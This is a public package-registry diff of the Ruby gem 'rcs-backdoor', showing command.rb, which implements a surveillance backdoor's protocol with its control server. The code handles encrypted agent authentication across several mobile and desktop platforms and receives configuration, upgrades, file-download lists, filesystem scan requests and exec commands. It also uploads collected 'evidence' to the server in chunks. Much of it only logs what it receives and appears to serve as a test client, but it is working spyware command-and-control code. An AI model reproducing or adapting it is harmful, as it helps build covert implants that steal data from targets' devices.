rcs-backdoor 8.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +56 -0
- data/Gemfile +6 -0
- data/LICENSE.txt +20 -0
- data/Rakefile +21 -0
- data/bin/binary.yaml +16 -0
- data/bin/config.yaml +2 -0
- data/bin/ident.yaml +12 -0
- data/bin/rcs-backdoor +16 -0
- data/bin/rcs-backdoor-add +115 -0
- data/bin/rcs-backdoor-multi +25 -0
- data/bin/trace.yaml +32 -0
- data/lib/rcs-backdoor.rb +2 -0
- data/lib/rcs-backdoor/backdoor.rb +326 -0
- data/lib/rcs-backdoor/command.rb +567 -0
- data/lib/rcs-backdoor/config.rb +42 -0
- data/lib/rcs-backdoor/protocol.rb +108 -0
- data/lib/rcs-backdoor/sync.rb +41 -0
- data/lib/rcs-backdoor/transport.rb +113 -0
- data/lib/rcs-backdoor/version.rb +5 -0
- data/rcs-backdoor.gemspec +28 -0
- metadata +182 -0
@@ -0,0 +1,567 @@
|
|
1
|
+
#
|
2
|
+
# Mix-in module for the protocol
|
3
|
+
#
|
4
|
+
|
5
|
+
# Relatives
|
6
|
+
require_relative 'config.rb'
|
7
|
+
|
8
|
+
# RCS::Common
|
9
|
+
require 'rcs-common/trace'
|
10
|
+
require 'rcs-common/crypt'
|
11
|
+
require 'rcs-common/pascalize'
|
12
|
+
|
13
|
+
# System
|
14
|
+
require 'ostruct'
|
15
|
+
require 'securerandom'
|
16
|
+
require 'digest/sha1'
|
17
|
+
require 'base64'
|
18
|
+
|
19
|
+
module RCS
|
20
|
+
module Backdoor
|
21
|
+
|
22
|
+
module Command
|
23
|
+
include Crypt
|
24
|
+
include Tracer
|
25
|
+
|
26
|
+
INVALID_COMMAND = 0x00 # Don't use
|
27
|
+
PROTO_OK = 0x01 # OK
|
28
|
+
PROTO_NO = 0x02 # Nothing available
|
29
|
+
PROTO_BYE = 0x03 # The end of the protocol
|
30
|
+
PROTO_ID = 0x0f # Identification of the target
|
31
|
+
PROTO_CONF = 0x07 # New configuration
|
32
|
+
PROTO_UNINSTALL = 0x0a # Uninstall command
|
33
|
+
PROTO_DOWNLOAD = 0x0c # List of files to be downloaded
|
34
|
+
PROTO_UPLOAD = 0x0d # A file to be saved
|
35
|
+
PROTO_UPGRADE = 0x16 # Upgrade for the agent
|
36
|
+
PROTO_EVIDENCE = 0x09 # Upload of an evidence
|
37
|
+
PROTO_EVIDENCE_CHUNK = 0x10 # Upload of an evidence (in chunks)
|
38
|
+
PROTO_EVIDENCE_SIZE = 0x0b # Queue for evidence
|
39
|
+
PROTO_FILESYSTEM = 0x19 # List of paths to be scanned
|
40
|
+
PROTO_PURGE = 0x1a # purge the log queue
|
41
|
+
PROTO_EXEC = 0x1b # execution of commands during sync
|
42
|
+
|
43
|
+
PLATFORMS = ["WINDOWS", "WINMO", "OSX", "IOS", "BLACKBERRY", "SYMBIAN", "ANDROID", "LINUX"]
|
44
|
+
|
45
|
+
# the commands are depicted here: http://rcs-dev/trac/wiki/RCS_Sync_Proto_Rest
|
46
|
+
|
47
|
+
def authenticate(backdoor)
|
48
|
+
# use the correct auth packet
|
49
|
+
(backdoor.scout or backdoor.soldier) ? authenticate_scout(backdoor) : authenticate_elite(backdoor)
|
50
|
+
end
|
51
|
+
|
52
|
+
# Authentication phase
|
53
|
+
# -> Crypt_C ( Kd, NonceDevice, BuildId, InstanceId, SubType, sha1 ( BuildId, InstanceId, SubType, Cb ) )
|
54
|
+
# <- [ Crypt_C ( Ks ), Crypt_K ( NonceDevice, Response ) ] | SetCookie ( SessionCookie )
|
55
|
+
def authenticate_elite(backdoor)
|
56
|
+
trace :info, "AUTH"
|
57
|
+
|
58
|
+
# first part of the session key, chosen by the client
|
59
|
+
# it will be used to derive the session key later along with Ks (server chosen)
|
60
|
+
# and the Cb (pre-shared conf key)
|
61
|
+
kd = SecureRandom.random_bytes(16)
|
62
|
+
trace :debug, "Auth -- Kd: " << kd.unpack('H*').to_s
|
63
|
+
|
64
|
+
# the client NOnce that has to be returned by the server
|
65
|
+
# this is used to authenticate the server
|
66
|
+
# returning it crypted with the session key it will confirm the
|
67
|
+
# authenticity of the server
|
68
|
+
nonce = SecureRandom.random_bytes(16)
|
69
|
+
trace :debug, "Auth -- Nonce: " << nonce.unpack('H*').to_s
|
70
|
+
|
71
|
+
# the id and the type are padded to 16 bytes
|
72
|
+
rcs_id = backdoor.id.ljust(16, "\x00")
|
73
|
+
rcs_type = backdoor.type.ljust(16, "\x00")
|
74
|
+
|
75
|
+
# backdoor identification
|
76
|
+
# the server will calculate the same sha digest and authenticate the backdoor
|
77
|
+
# since the conf key is pre-shared
|
78
|
+
sha = Digest::SHA1.digest(rcs_id + backdoor.instance + rcs_type + backdoor.conf_key)
|
79
|
+
trace :debug, "Auth -- sha: " << sha.unpack('H*').to_s
|
80
|
+
|
81
|
+
# prepare and encrypt the message
|
82
|
+
message = kd + nonce + rcs_id + backdoor.instance + rcs_type + sha
|
83
|
+
#trace "Auth -- message: " << message.unpack('H*').to_s
|
84
|
+
enc_msg = aes_encrypt(message, backdoor.signature)
|
85
|
+
#trace "Auth -- signature: " << backdoor.signature.unpack('H*').to_s
|
86
|
+
#trace "Auth -- enc_message: " << enc_msg.unpack('H*').to_s
|
87
|
+
|
88
|
+
# add randomness to the packet size
|
89
|
+
enc_msg += randblock()
|
90
|
+
|
91
|
+
# send the message and receive the response from the server
|
92
|
+
# the transport layer will take care of the underlying cookie
|
93
|
+
resp = @transport.message enc_msg
|
94
|
+
|
95
|
+
# remove the random bytes at the end
|
96
|
+
resp = normalize(resp)
|
97
|
+
|
98
|
+
# sanity check
|
99
|
+
raise "wrong auth response length" unless resp.length == 64
|
100
|
+
|
101
|
+
# first 32 bytes are the Ks choosen by the server
|
102
|
+
# decrypt it and store to create the session key along with Kd and Cb
|
103
|
+
ks = resp.slice!(0..31)
|
104
|
+
ks = aes_decrypt(ks, backdoor.signature)
|
105
|
+
trace :debug, "Auth -- Ks: " << ks.unpack('H*').to_s
|
106
|
+
|
107
|
+
# calculate the session key -> K = sha1(Cb || Ks || Kd)
|
108
|
+
# we use a schema like PBKDF1
|
109
|
+
# remember it for the entire session
|
110
|
+
@session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
|
111
|
+
trace :debug, "Auth -- K: " << @session_key.unpack('H*').to_s
|
112
|
+
|
113
|
+
# second part of the server response contains the NOnce and the response
|
114
|
+
tmp = aes_decrypt(resp, @session_key)
|
115
|
+
|
116
|
+
# extract the NOnce and check if it is ok
|
117
|
+
# this MUST be the same NOnce sent to the server, but since it is crypted
|
118
|
+
# with the session key we know that the server knows Cb and thus is trusted
|
119
|
+
rnonce = tmp.slice!(0..15)
|
120
|
+
trace :debug, "Auth -- rnonce: " << rnonce.unpack('H*').to_s
|
121
|
+
raise "Invalid NOnce" unless nonce == rnonce
|
122
|
+
|
123
|
+
# extract the response
|
124
|
+
response = tmp
|
125
|
+
trace :debug, "Auth -- Response: " << response.unpack('H*').to_s
|
126
|
+
|
127
|
+
# print the response
|
128
|
+
trace :info, "Auth Response: OK" if response.unpack('I') == [PROTO_OK]
|
129
|
+
if response.unpack('I') == [PROTO_UNINSTALL]
|
130
|
+
trace :info, "UNINSTALL received"
|
131
|
+
raise "UNINSTALL"
|
132
|
+
end
|
133
|
+
if response.unpack('I') == [PROTO_NO]
|
134
|
+
trace :info, "NO received"
|
135
|
+
raise "PROTO_NO: cannot continue"
|
136
|
+
end
|
137
|
+
end
|
138
|
+
|
139
|
+
# Authentication phase
|
140
|
+
# -> Base64 ( Crypt_S ( Pver, Kd, sha(Kc | Kd), BuildId, InstanceId, Platform ) )
|
141
|
+
# <- Base64 ( Crypt_C ( Ks, sha(K), Response ) ) | SetCookie ( SessionCookie )
|
142
|
+
def authenticate_scout(backdoor)
|
143
|
+
trace :info, "AUTH SCOUT"
|
144
|
+
|
145
|
+
# the version of the protocol
|
146
|
+
pver = [1].pack('I')
|
147
|
+
|
148
|
+
# first part of the session key, chosen by the client
|
149
|
+
# it will be used to derive the session key later along with Ks (server chosen)
|
150
|
+
# and the Cb (pre-shared conf key)
|
151
|
+
kd = SecureRandom.random_bytes(16)
|
152
|
+
trace :debug, "Auth -- Kd: " << kd.unpack('H*').to_s
|
153
|
+
|
154
|
+
# authentication sha
|
155
|
+
sha = Digest::SHA1.digest(backdoor.conf_key + kd)
|
156
|
+
trace :debug, "Auth -- sha: " << sha.unpack('H*').to_s
|
157
|
+
|
158
|
+
# the id and the type are padded to 16 bytes
|
159
|
+
rcs_id = backdoor.id.ljust(16, "\x00")
|
160
|
+
demo = (backdoor.type.end_with? '-DEMO') ? "\x01" : "\x00"
|
161
|
+
level = "\x01" if backdoor.scout
|
162
|
+
level = "\x02" if backdoor.soldier
|
163
|
+
flags = "\x00"
|
164
|
+
|
165
|
+
platform = [PLATFORMS.index(backdoor.type.gsub(/-DEMO/, ''))].pack('C') + demo + level + flags
|
166
|
+
|
167
|
+
trace :debug, "Auth -- #{backdoor.type} " << platform.unpack('H*').to_s
|
168
|
+
|
169
|
+
# prepare and encrypt the message
|
170
|
+
message = pver + kd + sha + rcs_id + backdoor.instance + platform
|
171
|
+
#trace "Auth -- message: " << message.unpack('H*').to_s
|
172
|
+
enc_msg = aes_encrypt(message, backdoor.signature, PAD_NOPAD)
|
173
|
+
#trace "Auth -- signature: " << backdoor.signature.unpack('H*').to_s
|
174
|
+
#trace "Auth -- enc_message: " << enc_msg.unpack('H*').to_s
|
175
|
+
|
176
|
+
# add the random block
|
177
|
+
enc_msg += SecureRandom.random_bytes(rand(128..1024))
|
178
|
+
|
179
|
+
# add the base64 container
|
180
|
+
enc_msg = Base64.strict_encode64(enc_msg)
|
181
|
+
|
182
|
+
# send the message and receive the response from the server
|
183
|
+
# the transport layer will take care of the underlying cookie
|
184
|
+
resp = @transport.message enc_msg
|
185
|
+
|
186
|
+
# remove the base64 container
|
187
|
+
resp = Base64.strict_decode64(resp)
|
188
|
+
|
189
|
+
# align to the multiple of 16
|
190
|
+
resp = normalize(resp)
|
191
|
+
|
192
|
+
# decrypt the message
|
193
|
+
resp = aes_decrypt(resp, backdoor.conf_key, PAD_NOPAD)
|
194
|
+
|
195
|
+
ks = resp.slice!(0..15)
|
196
|
+
trace :debug, "Auth -- Ks: " << ks.unpack('H*').to_s
|
197
|
+
|
198
|
+
# calculate the session key -> K = sha1(Cb || Ks || Kd)
|
199
|
+
# we use a schema like PBKDF1
|
200
|
+
# remember it for the entire session
|
201
|
+
@session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
|
202
|
+
trace :debug, "Auth -- K: " << @session_key.unpack('H*').to_s
|
203
|
+
|
204
|
+
check = resp.slice!(0..19)
|
205
|
+
raise "Invalid session key (K)" if check != Digest::SHA1.digest(@session_key + ks)
|
206
|
+
|
207
|
+
trace :debug, "Auth -- Response: " << resp.slice(0..3).unpack('H*').to_s
|
208
|
+
|
209
|
+
# print the response
|
210
|
+
trace :info, "Auth Response: OK" if resp.unpack('I') == [PROTO_OK]
|
211
|
+
if resp.unpack('I') == [PROTO_UNINSTALL]
|
212
|
+
trace :info, "UNINSTALL received"
|
213
|
+
raise "UNINSTALL"
|
214
|
+
end
|
215
|
+
if resp.unpack('I') == [PROTO_NO]
|
216
|
+
trace :info, "NO received"
|
217
|
+
raise "PROTO_NO: cannot continue"
|
218
|
+
end
|
219
|
+
end
|
220
|
+
|
221
|
+
|
222
|
+
# -> Crypt_K ( PROTO_ID [Version, UserId, DeviceId, SourceId] )
|
223
|
+
# <- Crypt_K ( PROTO_OK, Time, Availables )
|
224
|
+
def send_id(backdoor)
|
225
|
+
trace :info, "ID"
|
226
|
+
|
227
|
+
# the array of available commands from server
|
228
|
+
available = []
|
229
|
+
|
230
|
+
# prepare the command
|
231
|
+
message = [PROTO_ID].pack('I')
|
232
|
+
|
233
|
+
# prepare the message
|
234
|
+
message += [backdoor.version].pack('I')
|
235
|
+
message += backdoor.userid.pascalize + backdoor.deviceid.pascalize + backdoor.sourceid.pascalize
|
236
|
+
|
237
|
+
#trace :debug, "Ident: " << message.unpack('H*').to_s
|
238
|
+
|
239
|
+
# send the message and receive the response from the server
|
240
|
+
enc = aes_encrypt_integrity(message, @session_key)
|
241
|
+
resp = @transport.message enc
|
242
|
+
|
243
|
+
# remove the random bytes at the end
|
244
|
+
resp = normalize(resp)
|
245
|
+
|
246
|
+
resp = aes_decrypt_integrity(resp, @session_key)
|
247
|
+
#trace "ID -- response: " << resp.unpack('H*').to_s
|
248
|
+
|
249
|
+
# parse the response
|
250
|
+
command, tot, time, size, *list = resp.unpack('I2qI*')
|
251
|
+
|
252
|
+
# fill the available array
|
253
|
+
if command == PROTO_OK then
|
254
|
+
trace :info, "ID Response: OK"
|
255
|
+
now = Time.now
|
256
|
+
diff_time = now.to_i - time
|
257
|
+
trace :debug, "ID -- Server Time : " + time.to_s
|
258
|
+
trace :debug, "ID -- Local Time : " + now.to_i.to_s + " diff [#{diff_time}]"
|
259
|
+
if size != 0 then
|
260
|
+
trace :debug, "ID -- available(#{size}): " + list.to_s
|
261
|
+
available = list
|
262
|
+
end
|
263
|
+
else
|
264
|
+
trace :info, "ID Response: " + command.to_s
|
265
|
+
raise "invalid response"
|
266
|
+
end
|
267
|
+
|
268
|
+
return available
|
269
|
+
end
|
270
|
+
|
271
|
+
|
272
|
+
# Protocol Conf
|
273
|
+
# -> Crypt_K ( PROTO_CONF )
|
274
|
+
# <- Crypt_K ( PROTO_NO | PROTO_OK [ Conf ] )
|
275
|
+
def receive_config(backdoor)
|
276
|
+
trace :info, "CONFIG"
|
277
|
+
resp = send_command(PROTO_CONF)
|
278
|
+
|
279
|
+
# decode the response
|
280
|
+
command, size = resp.unpack('I2')
|
281
|
+
if command == PROTO_OK then
|
282
|
+
trace :info, "CONFIG -- #{size} bytes"
|
283
|
+
# configuration parser
|
284
|
+
config = RCS::Config.new(backdoor, resp[8..-1])
|
285
|
+
config.dump_to_file
|
286
|
+
# we have received the config correctly
|
287
|
+
send_command(PROTO_CONF, [PROTO_OK].pack('I'))
|
288
|
+
else
|
289
|
+
trace :info, "CONFIG -- no new conf"
|
290
|
+
end
|
291
|
+
end
|
292
|
+
|
293
|
+
# Protocol Upload
|
294
|
+
# -> Crypt_K ( PROTO_UPLOAD )
|
295
|
+
# <- Crypt_K ( PROTO_NO | PROTO_OK [ left, filename, content ] )
|
296
|
+
def receive_uploads
|
297
|
+
trace :info, "UPLOAD"
|
298
|
+
resp = send_command(PROTO_UPLOAD)
|
299
|
+
|
300
|
+
# decode the response
|
301
|
+
command, tot, left, size = resp.unpack('I4')
|
302
|
+
|
303
|
+
if command == PROTO_OK then
|
304
|
+
filename = resp[12, resp.length].unpascalize
|
305
|
+
bytes = resp[16 + size, resp.length].unpack('I')
|
306
|
+
trace :info, "UPLOAD -- [#{filename}] #{bytes} bytes"
|
307
|
+
|
308
|
+
# recurse the request if there are other files to request
|
309
|
+
receive_uploads if left != 0
|
310
|
+
else
|
311
|
+
trace :info, "UPLOAD -- No uploads for me"
|
312
|
+
end
|
313
|
+
end
|
314
|
+
|
315
|
+
# Protocol Upgrade
|
316
|
+
# -> Crypt_K ( PROTO_UPGRADE )
|
317
|
+
# <- Crypt_K ( PROTO_NO | PROTO_OK [ left, filename, content ] )
|
318
|
+
def receive_upgrade
|
319
|
+
trace :info, "UPGRADE"
|
320
|
+
resp = send_command(PROTO_UPGRADE)
|
321
|
+
|
322
|
+
# decode the response
|
323
|
+
command, tot, left, size = resp.unpack('I4')
|
324
|
+
|
325
|
+
if command == PROTO_OK then
|
326
|
+
filename = resp[12, resp.length].unpascalize
|
327
|
+
bytes = resp[16 + size, resp.length].unpack('I')
|
328
|
+
trace :info, "UPGRADE -- [#{filename}] #{bytes} bytes"
|
329
|
+
|
330
|
+
# recurse the request if there are other files to request
|
331
|
+
receive_upgrade if left != 0
|
332
|
+
else
|
333
|
+
trace :info, "UPGRADE -- No upgrade for me"
|
334
|
+
end
|
335
|
+
end
|
336
|
+
|
337
|
+
# Protocol Download
|
338
|
+
# -> Crypt_K ( PROTO_DOWNLOAD )
|
339
|
+
# <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]] )
|
340
|
+
def receive_downloads
|
341
|
+
trace :info, "DOWNLOAD"
|
342
|
+
resp = send_command(PROTO_DOWNLOAD)
|
343
|
+
|
344
|
+
# decode the response
|
345
|
+
command, tot, num = resp.unpack('I3')
|
346
|
+
|
347
|
+
if command == PROTO_OK then
|
348
|
+
trace :info, "DOWNLOAD : #{num} are available"
|
349
|
+
list = resp.slice(12, resp.length)
|
350
|
+
# print the list of downloads
|
351
|
+
list.unpascalize_ary.each do |pattern|
|
352
|
+
trace :info, "DOWNLOAD -- [#{pattern}]"
|
353
|
+
end
|
354
|
+
else
|
355
|
+
trace :info, "DOWNLOAD -- No downloads for me"
|
356
|
+
end
|
357
|
+
end
|
358
|
+
|
359
|
+
# Protocol Filesystem
|
360
|
+
# -> Crypt_K ( PROTO_FILESYSTEM )
|
361
|
+
# <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem,[ depth1, dir1, depth2, dir2, ... ]] )
|
362
|
+
def receive_filesystems
|
363
|
+
trace :info, "FILESYSTEM"
|
364
|
+
resp = send_command(PROTO_FILESYSTEM)
|
365
|
+
|
366
|
+
# decode the response
|
367
|
+
command, tot, num = resp.unpack('I3')
|
368
|
+
|
369
|
+
if command == PROTO_OK then
|
370
|
+
trace :info, "FILESYSTEM : #{num} are available"
|
371
|
+
list = resp.slice(12, resp.length)
|
372
|
+
# print the list of downloads
|
373
|
+
buffer = list
|
374
|
+
begin
|
375
|
+
depth, len = buffer.unpack('I2')
|
376
|
+
# len of the current token
|
377
|
+
len += 8
|
378
|
+
# unpascalize the token
|
379
|
+
str = buffer[4, buffer.length].unpascalize
|
380
|
+
trace :info, "FILESYSTEM -- [#{depth}][#{str}]"
|
381
|
+
# move the pointer after the token
|
382
|
+
buffer = buffer.slice(len, list.length)
|
383
|
+
end while buffer.length != 0
|
384
|
+
else
|
385
|
+
trace :info, "FILESYSTEM -- No filesystem for me"
|
386
|
+
end
|
387
|
+
end
|
388
|
+
|
389
|
+
|
390
|
+
# Protocol Evidence
|
391
|
+
# -> Crypt_K ( PROTO_EVIDENCE_SIZE [ num, size ] )
|
392
|
+
# <- Crypt_K ( PROTO_OK )
|
393
|
+
def send_evidence_size(evidences)
|
394
|
+
|
395
|
+
total_size = 0
|
396
|
+
evidences.each do |e|
|
397
|
+
total_size += e.size
|
398
|
+
end
|
399
|
+
|
400
|
+
trace :info, "EVIDENCE_SIZE: #{evidences.size} (#{total_size.to_s_bytes})"
|
401
|
+
|
402
|
+
# prepare the message
|
403
|
+
message = [PROTO_EVIDENCE_SIZE].pack('I') + [evidences.size].pack('I') + [total_size].pack('Q')
|
404
|
+
enc_msg = aes_encrypt_integrity(message, @session_key)
|
405
|
+
# send the message and receive the response
|
406
|
+
@transport.message enc_msg
|
407
|
+
end
|
408
|
+
|
409
|
+
# Protocol Evidence
|
410
|
+
# -> Crypt_K ( PROTO_EVIDENCE [ size, content ] )
|
411
|
+
# <- Crypt_K ( PROTO_OK | PROTO_NO )
|
412
|
+
def send_evidence(evidences)
|
413
|
+
|
414
|
+
return if evidences.empty?
|
415
|
+
|
416
|
+
# take the first log
|
417
|
+
evidence = evidences.shift
|
418
|
+
|
419
|
+
# if the evidence is big, split in chunks
|
420
|
+
if evidence.size > 100_000
|
421
|
+
send_evidence_chunk(evidence)
|
422
|
+
else
|
423
|
+
|
424
|
+
# prepare the message
|
425
|
+
message = [PROTO_EVIDENCE].pack('I') + [evidence.size].pack('I') + evidence.binary
|
426
|
+
enc_msg = aes_encrypt_integrity(message, @session_key)
|
427
|
+
# send the message and receive the response
|
428
|
+
resp = @transport.message enc_msg
|
429
|
+
|
430
|
+
# remove the random bytes at the end
|
431
|
+
resp = normalize(resp)
|
432
|
+
|
433
|
+
resp = aes_decrypt_integrity(resp, @session_key)
|
434
|
+
|
435
|
+
if resp.unpack('I') == [PROTO_OK]
|
436
|
+
trace :info, "EVIDENCE -- [#{evidence.name}] #{evidence.size} bytes sent. #{evidences.size} left"
|
437
|
+
else
|
438
|
+
trace :info, "EVIDENCE -- problems from server"
|
439
|
+
return
|
440
|
+
end
|
441
|
+
end
|
442
|
+
|
443
|
+
# recurse for the next log to be sent
|
444
|
+
send_evidence evidences unless evidences.empty?
|
445
|
+
end
|
446
|
+
|
447
|
+
# Protocol Evidence (with resume in chunk)
|
448
|
+
# -> PROTO_EVIDENCE_CHUNK [ id, base, chunk, size, content ]
|
449
|
+
# <- PROTO_OK [ base ] | PROTO_NO
|
450
|
+
def send_evidence_chunk(evidence)
|
451
|
+
|
452
|
+
id = 0
|
453
|
+
base = 0
|
454
|
+
chunk = 50_000
|
455
|
+
|
456
|
+
binary = StringIO.open(evidence.binary, "rb")
|
457
|
+
|
458
|
+
while buff = binary.read(chunk)
|
459
|
+
chunk = buff.bytesize
|
460
|
+
|
461
|
+
# prepare the message
|
462
|
+
message = [PROTO_EVIDENCE_CHUNK].pack('I') +
|
463
|
+
[id].pack('I') + [base].pack('I') + [chunk].pack('I') + [evidence.size].pack('I') +
|
464
|
+
buff
|
465
|
+
|
466
|
+
# send the message and receive the response
|
467
|
+
enc_msg = aes_encrypt_integrity(message, @session_key)
|
468
|
+
resp = @transport.message enc_msg
|
469
|
+
# remove the random bytes at the end
|
470
|
+
resp = normalize(resp)
|
471
|
+
resp = aes_decrypt_integrity(resp, @session_key)
|
472
|
+
|
473
|
+
if resp.slice!(0..3).unpack('I') == [PROTO_OK]
|
474
|
+
trace :info, "EVIDENCE -- [#{evidence.name}] #{base}/#{chunk} bytes sent (total #{evidence.size})"
|
475
|
+
dummy, base = resp.unpack('I*')
|
476
|
+
trace :info, "EVIDENCE -- [#{evidence.name}] acknowledged base: #{base}"
|
477
|
+
else
|
478
|
+
trace :info, "EVIDENCE -- problems from server"
|
479
|
+
return
|
480
|
+
end
|
481
|
+
end
|
482
|
+
|
483
|
+
end
|
484
|
+
|
485
|
+
# Protocol Purge
|
486
|
+
# -> Crypt_K ( PROTO_PURGE )
|
487
|
+
# <- Crypt_K ( PROTO_NO | PROTO_OK [ time, size ] )
|
488
|
+
def receive_purge
|
489
|
+
trace :info, "PURGE"
|
490
|
+
resp = send_command(PROTO_PURGE)
|
491
|
+
|
492
|
+
# decode the response
|
493
|
+
command, len, time, size = resp.unpack('IIQI')
|
494
|
+
|
495
|
+
if command == PROTO_OK
|
496
|
+
trace :info, "PURGE -- [#{Time.at(time)}] #{size} bytes"
|
497
|
+
else
|
498
|
+
trace :info, "PURGE -- No purge for me"
|
499
|
+
end
|
500
|
+
end
|
501
|
+
|
502
|
+
# Protocol Exec
|
503
|
+
# -> Crypt_K ( PROTO_EXEC )
|
504
|
+
# <- Crypt_K ( PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]] )
|
505
|
+
def receive_exec
|
506
|
+
trace :info, "EXEC"
|
507
|
+
resp = send_command(PROTO_EXEC)
|
508
|
+
|
509
|
+
# decode the response
|
510
|
+
command, tot, num = resp.unpack('I3')
|
511
|
+
|
512
|
+
if command == PROTO_OK then
|
513
|
+
trace :info, "EXEC : #{num} are available"
|
514
|
+
list = resp.slice(12, resp.length)
|
515
|
+
# print the list of downloads
|
516
|
+
list.unpascalize_ary.each do |command|
|
517
|
+
trace :info, "EXEC -- [#{command}]"
|
518
|
+
end
|
519
|
+
else
|
520
|
+
trace :info, "EXEC -- No downloads for me"
|
521
|
+
end
|
522
|
+
end
|
523
|
+
|
524
|
+
# Protocol End
|
525
|
+
# -> Crypt_K ( PROTO_BYE )
|
526
|
+
# <- Crypt_K ( PROTO_OK )
|
527
|
+
def bye
|
528
|
+
trace :info, "BYE"
|
529
|
+
resp = send_command(PROTO_BYE)
|
530
|
+
|
531
|
+
trace :info, "BYE Response: OK" if resp.unpack('I') == [PROTO_OK]
|
532
|
+
end
|
533
|
+
|
534
|
+
# helper method
|
535
|
+
def send_command(command, payload = nil)
|
536
|
+
message = [command].pack('I')
|
537
|
+
message += payload unless payload.nil?
|
538
|
+
|
539
|
+
# encrypt the message
|
540
|
+
enc_msg = aes_encrypt_integrity(message, @session_key)
|
541
|
+
enc_msg += randblock()
|
542
|
+
|
543
|
+
# send the message and receive the response
|
544
|
+
resp = @transport.message enc_msg
|
545
|
+
|
546
|
+
# remove the random bytes at the end
|
547
|
+
resp = normalize(resp)
|
548
|
+
|
549
|
+
# decrypt it
|
550
|
+
return aes_decrypt_integrity(resp, @session_key)
|
551
|
+
end
|
552
|
+
|
553
|
+
# returns a random block of random size < 16
|
554
|
+
def randblock()
|
555
|
+
return SecureRandom.random_bytes(SecureRandom.random_number(16))
|
556
|
+
end
|
557
|
+
|
558
|
+
# normalize a message, cutting at the shorter size multiple of 16
|
559
|
+
def normalize(content)
|
560
|
+
newlen = content.length - (content.length % 16)
|
561
|
+
content[0..newlen-1]
|
562
|
+
end
|
563
|
+
|
564
|
+
end
|
565
|
+
|
566
|
+
end # Backdoor::
|
567
|
+
end # RCS::
|